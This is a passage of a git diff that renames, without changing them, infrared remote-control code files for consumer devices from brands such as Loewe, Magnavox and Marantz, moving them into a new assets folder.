index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir 